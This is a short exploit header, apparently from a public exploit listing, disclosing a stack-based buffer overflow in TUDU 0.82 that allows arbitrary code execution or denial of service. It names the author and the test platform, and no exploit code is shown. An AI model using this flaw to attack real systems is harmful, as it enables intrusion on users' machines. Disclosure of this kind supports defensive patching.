TUDU 0.82 Buffer Overflow

`# Exploit Author: Juan Sacco - http://www.exploitpack.com <  
[email protected]>  
# Program: tudu - Command line hierarchical ToDo list  
# Tested on: GNU/Linux - Kali Linux 2.0 x86  
#  
# Description: TUDU v0.82 and prior is prone to a stack-based buffer  
overflow  
# vulnerability because the application fails to perform adequate  
# boundary-checks on user-supplied input.  
#  
# An attacker could exploit this issue to execute arbitrary code in the  
# context of the application. Failed exploit attempts will result in a  
# denial-of-service condition.
